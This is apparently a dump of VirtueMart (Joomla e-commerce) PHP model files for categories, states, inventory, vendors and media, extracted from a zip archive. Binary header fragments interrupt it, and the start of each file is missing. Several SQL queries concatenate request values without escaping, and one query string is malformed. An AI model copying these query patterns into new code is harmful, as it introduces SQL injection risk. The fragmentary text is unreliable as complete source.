$q = 'SELECT `category_child_id`,`category_name` FROM `#__virtuemart_categories_'.VMLANG.'` LEFT JOIN `#__virtuemart_category_categories` on `#__virtuemart_categories`.`virtuemart_category_id`=`#__virtuemart_category_categories`.`category_child_id` WHERE `category_parent_id`='.(int)$id; $db->setQuery($q); $num ++; // if it is a leaf (no data underneath it) then return $childs = $db->loadObjectList(); if ($level==$maxLevel) return; if ($childs) { $level++; foreach ($childs as $child) { $this->container[$num]->id = $child->category_child_id; $this->container[$num]->name = $child->category_name; $this->container[$num]->level = $level; self::treeCat($child->category_child_id,$maxLevel ); } $level--; } } /** * @author Kohl Patrick * @param $maxlevel the number of level * @param $id the root category id * @Object $this->container * @ return categories id, name and level in container * if you set Maxlevel to 0, then you see nothing * max level =1 for simple category,2 for category and child cat .... * don't set it for all (1000 levels) * @deprecated */ function GetTreeCat($id=0,$maxLevel = 1000) { self::treeCat($id ,$maxLevel) ; return $this->container ; } /** * This function is repsonsible for returning an array containing category information * @param boolean Show only published products? * @param string the keyword to filter categories * @deprecated */ function getCategoryTreeArray( $only_published=true, $keyword = "" ) { $db = JFactory::getDBO(); if( empty( $this->_category_tree)) { // Get only published categories $query = "SELECT `virtuemart_category_id`, `category_description`, `category_name`,`category_child_id`, `category_parent_id`,`#__virtuemart_categories`.`ordering`, `published` as category_publish FROM `#__virtuemart_category_categories`, `#__virtuemart_categories_".VMLANG."` as L JOIN `#__virtuemart_categories` using (`virtuemart_category_id`) WHERE "; if( $only_published ) { $query .= "`#__virtuemart_categories`.`published`=1 AND "; } $query .= " L.`virtuemart_category_id`=`#__virtuemart_category_categories`.`category_child_id` "; if( !empty( $keyword ) ) { $keyword = '"%' . $this->_db->getEscaped( $keyword, true ) . '%"' ; //$keyword = $this->_db->Quote($keyword, false); $query .= 'AND ( `category_name` LIKE '.$keyword.' OR `category_description` LIKE '.$keyword.') '; } /* if( !empty( $keyword )) { $query .= "AND ( `category_name` LIKE '%$keyword%' "; $query .= "OR `category_description` LIKE '%$keyword%' "; $query .= ") "; }*/ $query .= " ORDER BY `#__virtuemart_categories`.`ordering` ASC, L.`category_name` ASC"; // initialise the query in the $database connector $db->setQuery($query); // Transfer the Result into a searchable Array $dbCategories = $db->loadAssocList(); //if (!$ids = $db->loadObject()) foreach( $dbCategories as $Cat ) { $this->_category_tree[$Cat['category_child_id']] = $Cat; } } } /** * Sorts an array with categories so the order of the categories is the same as in a tree, just as a flat list. * The Tree Depth is * * @deprecated * @param array $categoryArr */ function sortCategoryTreeArray() { // Copy the Array into an Array with auto_incrementing Indexes $key = array_keys($this->_category_tree); // Array of category table primary keys $nrows = $size = sizeOf($key); // Category count /** FIRST STEP * Order the Category Array and build a Tree of it **/ $id_list = array(); $row_list = array(); $depth_list = array(); $children = array(); $parent_ids = array(); $parent_ids_hash = array(); //Build an array of category references $category_tmp = Array(); for ($i=0; $i<$size; $i++) { $category_tmp[$i] = $this->_category_tree[$key[$i]]; $parent_ids[$i] = $category_tmp[$i]['category_parent_id']; if($category_tmp[$i]["category_parent_id"] == 0) { array_push($id_list,$category_tmp[$i]["category_child_id"]); array_push($row_list,$i); array_push($depth_list,0); } $parent_id = $parent_ids[$i]; if (isset($parent_ids_hash[$parent_id])) { $parent_ids_hash[$parent_id][$i] = $parent_id; } else { $parent_ids_hash[$parent_id] = array($i => $parent_id); } } $loop_count = 0; $watch = array(); // Hash to store children while(count($id_list) < $nrows) { if( $loop_count > $nrows ) break; $id_temp = array(); $row_temp = array(); $depth_temp = array(); for($i = 0 ; $i < count($id_list) ; $i++) { $id = $id_list[$i]; $row = $row_list[$i]; $depth = $depth_list[$i]; array_push($id_temp,$id); array_push($row_temp,$row); array_push($depth_temp,$depth); $children = @$parent_ids_hash[$id]; if (!empty($children)) { foreach($children as $key => $value) { if( !isset($watch[$id][$category_tmp[$key]["category_child_id"]])) { $watch[$id][$category_tmp[$key]["category_child_id"]] = 1; array_push($id_temp,$category_tmp[$key]["category_child_id"]); array_push($row_temp,$key); array_push($depth_temp,$depth + 1); } } } } $id_list = $id_temp; $row_list = $row_temp; $depth_list = $depth_temp; $loop_count++; } return array('id_list' => $id_list, 'row_list' => $row_list, 'depth_list' => $depth_list, 'category_tmp' => $category_tmp); } }PKs>\Kcom_virtuemart/models/state.phpnuW+AsetMainTable('states'); $this->_selectedOrderingDir = 'ASC'; } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * Renamed to getSingleState to avoid overwriting by jseros * * @author Max Milbers */ function getSingleState(){ if (empty($this->_data)) { $this->_data = $this->getTable('states'); $this->_data->load((int)$this->_id); } return $this->_data; } /** * Retireve a list of countries from the database. * * @author RickG, Max Milbers * @return object List of state objects */ public function getStates($countryId, $noLimit=false, $published = false) { $quer= 'SELECT * FROM `#__virtuemart_states` WHERE `virtuemart_country_id`= "'.(int)$countryId.'" '; if($published){ $quer .= 'AND `published`="1" '; } $quer .= 'ORDER BY `#__virtuemart_states`.`state_name`'; if ($noLimit) { $this->_data = $this->_getList($quer); } else { $this->_data = $this->_getList($quer, $this->getState('limitstart'), $this->getState('limit')); } if(count($this->_data) >0){ $this->_total = $this->_getListCount($quer); } return $this->_data; } /** * Tests if a state and country fits together and if they are published * * @author Max Milbers * @return String Attention, this function gives a 0=false back in case of success */ public static function testStateCountry($countryId,$stateId) { $countryId = (int)$countryId; $stateId = (int)$stateId; vmdebug('testStateCountry country '.$countryId.' $stateId '.$stateId); $db = JFactory::getDBO(); $q = 'SELECT * FROM `#__virtuemart_countries` WHERE `virtuemart_country_id`= "'.$countryId.'" AND `published`="1" '; $db->setQuery($q); if($db->loadResult()){ //Test if country has states $q = 'SELECT * FROM `#__virtuemart_states` WHERE `virtuemart_country_id`= "'.$countryId.'" AND `published`="1" '; $db->setQuery($q); if($res = $db->loadResult()){ vmdebug('testStateCountry country has states ',$res); //Test if virtuemart_state_id fits to virtuemart_country_id $q = 'SELECT * FROM `#__virtuemart_states` WHERE `virtuemart_country_id`= "'.$countryId.'" AND `virtuemart_state_id`="'.$stateId.'" and `published`="1"'; $db->setQuery($q); if($db->loadResult()){ return true; } else { //There is a country, but the state does not exist or is unlisted return false; } } else { vmdebug('testStateCountry country has no states listed'); //This country has no states listed return true; } } else { //The given country does not exist, this can happen, when no country was chosen, which maybe valid. return true; } } } // pure php no closing tagPKs>\#o,, com_virtuemart/models/index.htmlnuW+APKs>\M #com_virtuemart/models/inventory.phpnuW+AsetMainTable('products'); $this->addvalidOrderingFieldName(array('product_name','product_sku','product_in_stock','product_price','product_weight','published')); } /** * Select the products to list on the product list page * @author Max Milbers */ public function getInventory() { $select = ' `#__virtuemart_products`.`virtuemart_product_id`, `#__virtuemart_products`.`product_parent_id`, `product_name`, `product_sku`, `product_in_stock`, `product_weight`, `published`, `product_price`'; $joinedTables = 'FROM `#__virtuemart_products` LEFT JOIN `#__virtuemart_product_prices` ON `#__virtuemart_products`.`virtuemart_product_id` = `#__virtuemart_product_prices`.`virtuemart_product_id` LEFT JOIN `#__virtuemart_shoppergroups` ON `#__virtuemart_product_prices`.`virtuemart_shoppergroup_id` = `#__virtuemart_shoppergroups`.`virtuemart_shoppergroup_id`'; return $this->_data = $this->exeSortSearchListQuery(0,$select,$joinedTables,$this->getInventoryFilter(),'',$this->_getOrdering()); } /** * Collect the filters for the query * @author RolandD * @author Max Milbers */ private function getInventoryFilter() { /* Check some filters */ $filters = array(); if ($search = JRequest::getVar('filter_inventory', false)){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; //$search = $this->_db->Quote($search, false); $filters[] = '`#__virtuemart_products`.`product_name` LIKE '.$search; } if (JRequest::getInt('stockfilter', 0) == 1){ $filters[] = '`#__virtuemart_products`.`product_in_stock` > 0'; } if ($catId = JRequest::getInt('virtuemart_category_id', 0) > 0){ $filters[] = '`#__virtuemart_categories`.`virtuemart_category_id` = '.$catId; } $filters[] = '(`#__virtuemart_shoppergroups`.`default` = 1 OR `#__virtuemart_shoppergroups`.`default` is NULL)'; return ' WHERE '.implode(' AND ', $filters).$this->_getOrdering(); } } // pure php no closing tagPKs>\*%$com_virtuemart/models/worldzones.phpnuW+AsetMainTable('worldzones'); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * * @author RickG */ function getShipmentZone() { $db = JFactory::getDBO(); if (empty($this->_data)) { $query = 'SELECT * '; $query .= 'FROM `#__virtuemart_worldzones` '; $query .= 'WHERE `virtuemart_worldzone_id` = ' . (int)$this->_id; $db->setQuery($query); $this->_data = $db->loadObject(); } if (!$this->_data) { $this->_data = new stdClass(); $this->_id = 0; $this->_data = null; } return $this->_data; } /** * Retrieve a list of zone ids and zone names for use in a HTML select list. * * @author RickG */ function getWorldZonesSelectList() { $db = JFactory::getDBO(); $query = 'SELECT `virtuemart_worldzone_id`, `zone_name` '; $query .= 'FROM `#__virtuemart_worldzones`'; $db->setQuery($query); return $db->loadObjectList(); } } // pure php no closing tagPKs>\,A2A2 com_virtuemart/models/vendor.phpnuW+AsetId (1); } $this->setMainTable ('vendors'); } /** * name: getLoggedVendor * Checks which $vendorId has the just logged in user. * * @author Max Milbers * @param @param $ownerOnly returns only an id if the vendorOwner is logged in (dont get confused with storeowner) * returns int $vendorId */ static function getLoggedVendor ($ownerOnly = TRUE) { $user = JFactory::getUser (); $userId = $user->id; if (isset($userId)) { $vendorId = self::getVendorId ('user', $userId, $ownerOnly); return $vendorId; } else { JError::raiseNotice (1, '$virtuemart_user_id empty, no user logged in'); return 0; } } /** * Retrieve the vendor details from the database. * * @author Max Milbers * @return object Vendor details */ function getVendor ($vendor_id = NULL) { if ($vendor_id) { $this->_id = $vendor_id; } if (empty($this->_data)) { $this->_data = $this->getTable ('vendors'); $this->_data->load ($this->_id); // vmdebug('getVendor',$this->_id,$this->_data); // Convert ; separated string into array if ($this->_data->vendor_accepted_currencies) { $this->_data->vendor_accepted_currencies = explode (',', $this->_data->vendor_accepted_currencies); } else { $this->_data->vendor_accepted_currencies = array(); } //Todo, check this construction $xrefTable = $this->getTable ('vendor_medias'); $this->_data->virtuemart_media_id = $xrefTable->load ($this->_id); } return $this->_data; } /** * Retrieve a list of vendors * todo only names are needed here, maybe it should be enhanced (loading object list is slow) * todo add possibility to load without limit * * @author RickG * @author Max Milbers * @return object List of vendors */ public function getVendors () { $this->setId (0); //This is important ! notice by Max Milbers $query = 'SELECT * FROM `#__virtuemart_vendors_' . VMLANG . '` as l JOIN `#__virtuemart_vendors` as v using (`virtuemart_vendor_id`)'; $query .= ' ORDER BY l.`virtuemart_vendor_id`'; $this->_data = $this->_getList ($query, $this->getState ('limitstart'), $this->getState ('limit')); return $this->_data; } /** * Find the user id given a vendor id * * @author Max Milbers * @param int $virtuemart_vendor_id * @return int $virtuemart_user_id */ static function getUserIdByVendorId ($vendorId) { //this function is used static, needs its own db if (empty($vendorId)) { return; } else { $db = JFactory::getDBO (); $query = 'SELECT `virtuemart_user_id` FROM `#__virtuemart_vmusers` WHERE `virtuemart_vendor_id`=' . (int)$vendorId; $db->setQuery ($query); $result = $db->loadResult (); $err = $db->getErrorMsg (); if (!empty($err)) { vmError ('getUserIdByVendorId ' . $err, 'Failed to retrieve user id by vendor'); } return (isset($result) ? $result : 0); } } /** * Bind the post data to the vendor table and save it * This function DOES NOT safe information which is in the vmusers or vm_user_info table * It only stores the stuff into the vendor table * * @author RickG * @author Max Milbers * @return boolean True is the save was successful, false otherwise. */ function store (&$data) { JPluginHelper::importPlugin ('vmvendor'); $dispatcher = JDispatcher::getInstance (); $plg_datas = $dispatcher->trigger ('plgVmOnVendorStore', $data); foreach ($plg_datas as $plg_data) { $data = array_merge ($plg_data); } $oldVendorId = $data['virtuemart_vendor_id']; $table = $this->getTable ('vendors'); /* if(!$table->checkDataContainsTableFields($data)){ $app = JFactory::getApplication(); //$app->enqueueMessage('Data contains no Info for vendor, storing not needed'); return $this->_id; }*/ // Store multiple selectlist entries as a ; separated string if (array_key_exists ('vendor_accepted_currencies', $data) && is_array ($data['vendor_accepted_currencies'])) { $data['vendor_accepted_currencies'] = implode (',', $data['vendor_accepted_currencies']); } $table->bindChecknStore ($data); $errors = $table->getErrors (); foreach ($errors as $error) { $this->setError ($error); vmError ('store vendor', $error); } //set vendormodel id to the lastinserted one // $dbv = $table->getDBO(); // if(empty($this->_id)) $this->_id = $dbv->insertid(); if (empty($this->_id)) { $data['virtuemart_vendor_id'] = $this->_id = $table->virtuemart_vendor_id; } if ($this->_id != $oldVendorId) { vmdebug('Developer notice, tried to update vendor xref should not appear in singlestore $oldVendorId = '.$oldVendorId.' newId = '.$this->_id); //update user table $usertable = $this->getTable ('vmusers'); // $vendorsUserData =$usertable->load($this->_id); // $vendorsUserData =$usertable->load($data['virtuemart_user_id']); // $vendorsUserData->virtuemart_vendor_id = $virtuemart_vendor_id; //$vmusersData = array('virtuemart_user_id'=>$data['virtuemart_user_id'],'user_is_vendor'=>1,'virtuemart_vendor_id'=>$virtuemart_vendor_id,'customer_number'=>$data['customer_number'],'perms'=>$data['perms']); $usertable->bindChecknStore ($data, TRUE); $errors = $usertable->getErrors (); foreach ($errors as $error) { $this->setError ($error); vmError ('Store vendor ' . $error); } } // Process the images $mediaModel = VmModel::getModel ('Media'); $mediaModel->storeMedia ($data, 'vendor'); $errors = $mediaModel->getErrors (); foreach ($errors as $error) { vmError ($error); } $plg_datas = $dispatcher->trigger ('plgVmAfterVendorStore', $data); foreach ($plg_datas as $plg_data) { $data = array_merge ($plg_data); } return $this->_id; } /** * Get the vendor specific currency * * @author Oscar van Eijk * @param $_vendorId Vendor ID * @return string Currency code */ static $_vendorCurrencies = array(); static function getVendorCurrency ($_vendorId) { if(!isset(self::$_vendorCurrencies[$_vendorId])){ $db = JFactory::getDBO (); $q = 'SELECT * FROM `#__virtuemart_currencies` AS c , `#__virtuemart_vendors` AS v WHERE v.virtuemart_vendor_id = ' . (int)$_vendorId . ' AND v.vendor_currency = c.virtuemart_currency_id'; $db->setQuery ($q); self::$_vendorCurrencies[$_vendorId] = $db->loadObject (); } return self::$_vendorCurrencies[$_vendorId]; } /** * Retrieve a lost of vendor objects * * @author Oscar van Eijk * @return Array with all Vendor objects */ function getVendorCategories () { $_q = 'SELECT * FROM `#__vm_vendor_category`'; $this->_db->setQuery ($_q); return $this->_db->loadObjectList (); } function getUserIdByOrderId ($virtuemart_order_id) { if (empty ($virtuemart_order_id)) { return 0; } $virtuemart_order_id = (int)$virtuemart_order_id; $q = "SELECT `virtuemart_user_id` FROM `#__virtuemart_orders` WHERE `virtuemart_order_id`='.$virtuemart_order_id'"; // $db->query( $q ); $this->_db->setQuery ($q); // if($db->next_record()){ if ($this->_db->query ()) { // $virtuemart_user_id = $db->f('virtuemart_user_id'); return $this->_db->loadResult (); } else { JError::raiseNotice (1, 'Error in DB $virtuemart_order_id ' . $virtuemart_order_id . ' dont have a virtuemart_user_id'); return 0; } } /** * Gets the vendorId by user Id mapped by table auth_user_vendor or by the order item * Assigned users cannot change storeinformations * ownerOnly = false should be used for users who are assigned to a vendor * for administrative jobs like execution of orders or managing products * Changing of vendorinformation should ONLY be possible by the Mainvendor who is in charge * * @author by Max Milbers * @author RolandD * @param string $type Where the vendor ID should be taken from * @param mixed $value Whatever value the vendor ID should be filtered on * @return int Vendor ID */ static public function getVendorId ($type, $value, $ownerOnly = TRUE) { if (empty($value)) { return 0; } //sanitize input params $value = (int)$value; //static call used, so we need our own db instance $db = JFactory::getDBO (); switch ($type) { case 'order': $q = 'SELECT virtuemart_vendor_id FROM #__virtuemart_order_items WHERE virtuemart_order_id=' . $value; break; case 'user': if ($ownerOnly) { $q = 'SELECT `virtuemart_vendor_id` FROM `#__virtuemart_vmusers` `au` LEFT JOIN `#__virtuemart_userinfos` `u` ON (au.virtuemart_user_id = u.virtuemart_user_id) WHERE `u`.`virtuemart_user_id`=' . $value; } else { $q = 'SELECT `virtuemart_vendor_id` FROM `#__virtuemart_vmusers` WHERE `virtuemart_user_id`= "' . $value . '" '; } break; case 'product': $q = 'SELECT virtuemart_vendor_id FROM #__virtuemart_products WHERE virtuemart_product_id=' . $value; break; } $db->setQuery ($q); $virtuemart_vendor_id = $db->loadResult (); if ($virtuemart_vendor_id) { return $virtuemart_vendor_id; } else { return 0; // if($type!='user'){ // return 0; // } else { // JError::raiseNotice(1, 'No virtuemart_vendor_id found for '.$value.' on '.$type.' check.'); // return 0; // } } } /** * This function gives back the storename for the given vendor. * * @author Max Milbers */ public function getVendorName ($virtuemart_vendor_id = 1) { $query = 'SELECT `vendor_store_name` FROM `#__virtuemart_vendors_' . VMLANG . '` WHERE `virtuemart_vendor_id` = "' . (int)$virtuemart_vendor_id . '" '; $this->_db->setQuery ($query); if ($this->_db->query ()) { return $this->_db->loadResult (); } else { return ''; } } /** * This function gives back the email for the given vendor. * * @author Max Milbers */ public function getVendorEmail ($virtuemart_vendor_id) { $virtuemart_user_id = self::getUserIdByVendorId ((int)$virtuemart_vendor_id); if (!empty($virtuemart_user_id)) { $query = 'SELECT `email` FROM `#__users` WHERE `id` = "' . $virtuemart_user_id . '" '; $this->_db->setQuery ($query); if ($this->_db->query ()) { return $this->_db->loadResult (); } else { return ''; } } return ''; } public function getVendorAdressBT ($virtuemart_vendor_id) { $userId = self::getUserIdByVendorId ($virtuemart_vendor_id); $usermodel = VmModel::getModel ('user'); // $usermodel->setId($userId); $virtuemart_userinfo_id = $usermodel->getBTuserinfo_id ($userId); $vendorAddressBt = $this->getTable ('userinfos'); $vendorAddressBt->load ($virtuemart_userinfo_id); return $vendorAddressBt; } private $_vendorFields = FALSE; public function getVendorAddressFields(){ if(!$this->_vendorFields){ $userId = VirtueMartModelVendor::getUserIdByVendorId ($this->_id); $userModel = VmModel::getModel ('user'); $virtuemart_userinfo_id = $userModel->getBTuserinfo_id ($userId); // this is needed to set the correct user id for the vendor when the user is logged $userModel->getVendor($this->_id,FALSE); $vendorFieldsArray = $userModel->getUserInfoInUserFields ('mail', 'BT', $virtuemart_userinfo_id, FALSE, TRUE); $this->_vendorFields = $vendorFieldsArray[$virtuemart_userinfo_id]; } return $this->_vendorFields; } } PKs>\$k88com_virtuemart/models/media.phpnuW+AsetMainTable('medias'); $this->addvalidOrderingFieldName(array('ordering')); $this->_selectedOrdering = 'created_on'; } /** * Gets a single media by virtuemart_media_id * . * @param string $type * @param string $mime mime type of file, use for exampel image * @return mediaobject */ function getFile($type=0,$mime=0){ if (empty($this->_data)) { $data = $this->getTable('medias'); $data->load((int)$this->_id); if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $this->_data = VmMediaHandler::createMedia($data,$type,$mime); } return $this->_data; } /** * Kind of getFiles, it creates a bunch of image objects by an array of virtuemart_media_id * * @author Max Milbers * @param int $virtuemart_media_id * @param string $type * @param string $mime */ function createMediaByIds($virtuemart_media_ids,$type='',$mime='',$limit =0){ if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $app = JFactory::getApplication(); $medias = array(); static $_medias = array(); if(!empty($virtuemart_media_ids)){ if(!is_array($virtuemart_media_ids)) $virtuemart_media_ids = explode(',',$virtuemart_media_ids); //Lets delete empty ids //$virtuemart_media_ids = array_diff($virtuemart_media_ids,array('0','')); $data = $this->getTable('medias'); foreach($virtuemart_media_ids as $k => $virtuemart_media_id){ if($limit!==0 and $k==$limit and !empty($medias)) break; // never break if $limit = 0 if(is_object($virtuemart_media_id)){ $id = $virtuemart_media_id->virtuemart_media_id; } else { $id = $virtuemart_media_id; } if(!empty($id)){ if (!array_key_exists ($id, $_medias)) { $data->load((int)$id); if($app->isSite()){ if($data->published==0){ $_medias[$id] = $this->createVoidMedia($type,$mime); continue; } } $file_type = empty($data->file_type)? $type:$data->file_type; $mime = empty($data->file_mimetype)? $mime:$data->file_mimetype; if($app->isSite()){ $selectedLangue = explode(",", $data->file_lang); //vmdebug('selectedLangue',$selectedLangue); $lang = JFactory::getLanguage(); if(in_array($lang->getTag(), $selectedLangue) || $data->file_lang == '') { $_medias[$id] = VmMediaHandler::createMedia($data,$file_type,$mime); if(is_object($virtuemart_media_id) && !empty($virtuemart_media_id->product_name)) $_medias[$id]->product_name = $virtuemart_media_id->product_name; } } else { $_medias[$id] = VmMediaHandler::createMedia($data,$file_type,$mime); if(is_object($virtuemart_media_id) && !empty($virtuemart_media_id->product_name)) $_medias[$id]->product_name = $virtuemart_media_id->product_name; } } if (!empty($_medias[$id])) { $medias[] = $_medias[$id]; } } } } if(empty($medias)){ $medias[] = $this->createVoidMedia($type,$mime); } return $medias; } function createVoidMedia($type,$mime){ static $voidMedia = null; if(empty($voidMedia)){ $data = $this->getTable('medias'); //Create empty data $data->virtuemart_media_id = 0; $data->virtuemart_vendor_id = 0; $data->file_title = ''; $data->file_description = ''; $data->file_meta = ''; $data->file_mimetype = ''; $data->file_type = ''; $data->file_url = ''; $data->file_url_thumb = ''; $data->published = 0; $data->file_is_downloadable = 0; $data->file_is_forSale = 0; $data->file_is_product_image = 0; $data->shared = 0; $data->file_params = 0; $data->file_lang = ''; $voidMedia = VmMediaHandler::createMedia($data,$type,$mime); } return $voidMedia; } /** * Retrieve a list of files from the database. This is meant only for backend use * * @author Max Milbers * @param boolean $onlyPublished True to only retrieve the published files, false otherwise * @param boolean $noLimit True if no record count limit is used, false otherwise * @return object List of media objects */ function getFiles($onlyPublished=false, $noLimit=false, $virtuemart_product_id=null, $cat_id=null, $where=array(),$nbr=false){ $this->_noLimit = $noLimit; if(empty($this->_db)) $this->_db = JFactory::getDBO(); $vendorId = 1; //TODO set to logged user or requested vendorId, not easy later $query = ''; $selectFields = array(); $joinTables = array(); $joinedTables = ''; $whereItems= array(); $groupBy =''; $orderByTable = ''; if(!empty($virtuemart_product_id)){ $mainTable = '`#__virtuemart_product_medias`'; $selectFields[] = ' `#__virtuemart_medias`.`virtuemart_media_id` as virtuemart_media_id '; $joinTables[] = ' LEFT JOIN `#__virtuemart_medias` ON `#__virtuemart_medias`.`virtuemart_media_id`=`#__virtuemart_product_medias`.`virtuemart_media_id` and `virtuemart_product_id` = "'.$virtuemart_product_id.'"'; $whereItems[] = '`virtuemart_product_id` = "'.$virtuemart_product_id.'"'; if($this->_selectedOrdering=='ordering'){ $orderByTable = '`#__virtuemart_product_medias`.'; } else{ $orderByTable = '`#__virtuemart_medias`.'; } } else if(!empty($cat_id)){ $mainTable = '`#__virtuemart_category_medias`'; $selectFields[] = ' `#__virtuemart_medias`.`virtuemart_media_id` as virtuemart_media_id'; $joinTables[] = ' LEFT JOIN `#__virtuemart_medias` ON `#__virtuemart_medias`.`virtuemart_media_id`=`#__virtuemart_category_medias`.`virtuemart_media_id` and `virtuemart_category_id` = "'.$cat_id.'"'; $whereItems[] = '`virtuemart_category_id` = "'.$cat_id.'"'; if($this->_selectedOrdering=='ordering'){ $orderByTable = '`#__virtuemart_category_medias`.'; } else{ $orderByTable = '`#__virtuemart_medias`.'; } } else { $mainTable = '`#__virtuemart_medias`'; $selectFields[] = ' `virtuemart_media_id` '; if(!class_exists('Permissions')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'permissions.php'); if(!Permissions::getInstance()->check('admin') ){ $whereItems[] = '(`virtuemart_vendor_id` = "'.(int)$vendorId.'" OR `shared`="1")'; } } if ($onlyPublished) { $whereItems[] = '`#__virtuemart_medias`.`published` = 1'; } if ($search = JRequest::getString('searchMedia', false)){ $search = '"%' . $this->_db->getEscaped( $search, true ) . '%"' ; $where[] = ' (`file_title` LIKE '.$search.' OR `file_description` LIKE '.$search.' OR `file_meta` LIKE '.$search.' OR `file_url` LIKE '.$search.' OR `file_url_thumb` LIKE '.$search.' ) '; } if ($type = JRequest::getWord('search_type')) { $where[] = 'file_type = "'.$type.'" ' ; } if ($role = JRequest::getWord('search_role')) { if ($role == "file_is_downloadable") { $where[] = '`file_is_downloadable` = 1'; $where[] = '`file_is_forSale` = 0'; } elseif ($role == "file_is_forSale") { $where[] = '`file_is_downloadable` = 0'; $where[] = '`file_is_forSale` = 1'; } else { $where[] = '`file_is_downloadable` = 0'; $where[] = '`file_is_forSale` = 0'; } } if (!empty($where)) $whereItems = array_merge($whereItems,$where); if(count($whereItems)>0){ $whereString = ' WHERE '.implode(' AND ', $whereItems ); } else { $whereString = ' '; } $orderBy = $this->_getOrdering($orderByTable);# if(count($selectFields)>0){ $select = implode(', ', $selectFields ).' FROM '.$mainTable; //$selectFindRows = 'SELECT COUNT(*) FROM '.$mainTable; if(count($joinTables)>0){ foreach($joinTables as $table){ $joinedTables .= $table; } } } else { vmError('No select fields given in getFiles','No select fields given'); return false; } $this->_data = $this->exeSortSearchListQuery(2, $select, $joinedTables, $whereString, $groupBy, $orderBy,'',$nbr); if(empty($this->_data)){ return array(); } if( !is_array($this->_data)){ $this->_data = explode(',',$this->_data); } $this->_data = $this->createMediaByIds($this->_data); return $this->_data; } /** * This function stores a media and updates then the refered table * * @author Max Milbers * @author Patrick Kohl * @param array $data Data from a from * @param string $type type of the media category,product,manufacturer,shop, ... */ function storeMedia($data,$type){ // vmdebug('my data in media to store start',$data['virtuemart_media_id']); JRequest::checkToken() or jexit( 'Invalid Token, while trying to save media' ); if(empty($data['media_action'])){ $data['media_action'] = 'none'; } //vmdebug('storeMedia',$data); //the active media id is not empty, so there should be something done with it //if( (!empty($data['active_media_id']) && !empty($data['virtuemart_media_id']) ) || $data['media_action']=='upload'){ if( (!empty($data['active_media_id']) and isset($data['virtuemart_media_id']) ) || $data['media_action']=='upload'){ $oldIds = $data['virtuemart_media_id']; $data['file_type'] = $type; //$data['virtuemart_media_id'] = (int)$data['active_media_id']; //done within the function now $this -> setId($data['active_media_id']); $virtuemart_media_id = $this->store($data,$type); //added by Mike, Mike why did you add this? This function storeMedia is extremely nasty $this->setId($virtuemart_media_id); if(!empty($oldIds)){ if(!is_array($oldIds)) $oldIds = array($oldIds); if(!empty($data['mediaordering']) && $data['media_action']=='upload'){ // array_push($data['mediaordering'],count($data['mediaordering'])+1); $data['mediaordering'][$virtuemart_media_id] = count($data['mediaordering']); } $virtuemart_media_ids = array_merge( (array)$virtuemart_media_id,$oldIds); // vmdebug('merged old and new',$virtuemart_media_ids); $data['virtuemart_media_id'] = array_unique($virtuemart_media_ids); } else { $data['virtuemart_media_id'] = $virtuemart_media_id; } } if(!empty($data['mediaordering'])){ asort($data['mediaordering']); $sortedMediaIds = array(); foreach($data['mediaordering'] as $k=>$v){ $sortedMediaIds[] = $k; } // vmdebug('merging old and new',$oldIds,$virtuemart_media_id); $data['virtuemart_media_id'] = $sortedMediaIds; } // vmdebug('my data in media to store',$data['virtuemart_media_id'],$data['mediaordering']); //set the relations $table = $this->getTable($type.'_medias'); // Bind the form fields to the country table $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError($error); } return $table->virtuemart_media_id; } /** * Store an entry of a mediaItem, this means in end effect every media file in the shop * images, videos, pdf, zips, exe, ... * * @author Max Milbers */ public function store(&$data,$type) { VmConfig::loadJLang('com_virtuemart_media'); //if(empty($data['media_action'])) return $table->virtuemart_media_id; if (!class_exists('VmMediaHandler')) require(JPATH_VM_ADMINISTRATOR.DS.'helpers'.DS.'mediahandler.php'); $table = $this->getTable('medias'); /* $a = trim($data['file_url_thumb']); $b = trim(JText::sprintf('COM_VIRTUEMART_DEFAULT_URL',$data['file_url_thumb'])); vmdebug(' the miese Assi',$a,$b); if( $a == $b ){ vmdebug('Unset the miese Assi'); unset($data['file_url_thumb']); }*/ //unset($data['file_url_thumb']); $data['virtuemart_media_id'] = $this->getId(); $table->bind($data); $data = VmMediaHandler::prepareStoreMedia($table,$data,$type); //this does not store the media, it process the actions and prepares data // workarround for media published and product published two fields in one form. $tmpPublished = false; if (isset($data['media_published'])){ $tmpPublished = $data['published']; $data['published'] = $data['media_published']; //vmdebug('$data["published"]',$data['published']); } $table->bindChecknStore($data); $errors = $table->getErrors(); foreach($errors as $error){ vmError('store medias '.$error); } if($tmpPublished){ $data['published'] = $tmpPublished; } // vmdebug('store media $table->virtuemart_media_id '.$table->virtuemart_media_id); return $table->virtuemart_media_id; } public function attachImages($objects,$type,$mime='',$limit=0){ if(!empty($objects)){ if(!is_array($objects)) $objects = array($objects); foreach($objects as $k => $object){ if(empty($object->virtuemart_media_id)) $virtuemart_media_id = null; else $virtuemart_media_id = $object->virtuemart_media_id; $object->images = $this->createMediaByIds($virtuemart_media_id,$type,$mime,$limit); //This should not be used in fact. It is for legacy reasons there. if(isset($object->images[0]->file_url_thumb)){ $object->file_url_thumb = $object->images[0]->file_url_thumb; $object->file_url = $object->images[0]->file_url; } } } } } // pure php no closing tag PKs>\l$90com_virtuemart/models/manufacturercategories.phpnuW+AsetMainTable('manufacturercategories'); $this->addvalidOrderingFieldName(array('mf_category_name')); $config=JFactory::getConfig(); } /** * Retrieve the detail record for the current $id if the data has not already been loaded. * */ // function getManufacturerCategory(){ //// $db = JFactory::getDBO(); // if (empty($this->_data)) { // $this->_data = $this->getTable('manufacturercategories'); // $this->_data->load((int)$this->_id); // } //// print_r( $this->_db->_sql ); // if (!$this->_data) { // $this->_data = new stdClass(); // $this->_id = 0; // $this->_data = null; // } // return $this->_data; // } /** * Delete all record ids selected * * @return boolean True is the remove was successful, false otherwise. */ function remove($categoryIds) { $table = $this->getTable('manufacturercategories'); foreach($categoryIds as $categoryId) { if($table->checkManufacturer($categoryId)) { if (!$table->delete($categoryId)) { vmError($table->getError()); return false; } } else { vmError(get_class( $this ).'::remove '.$categoryId.' '.$table->getError()); return false; } } return true; } /** * Retireve a list of countries from the database. * * @param string $onlyPuiblished True to only retreive the published categories, false otherwise * @param string $noLimit True if no record count limit is used, false 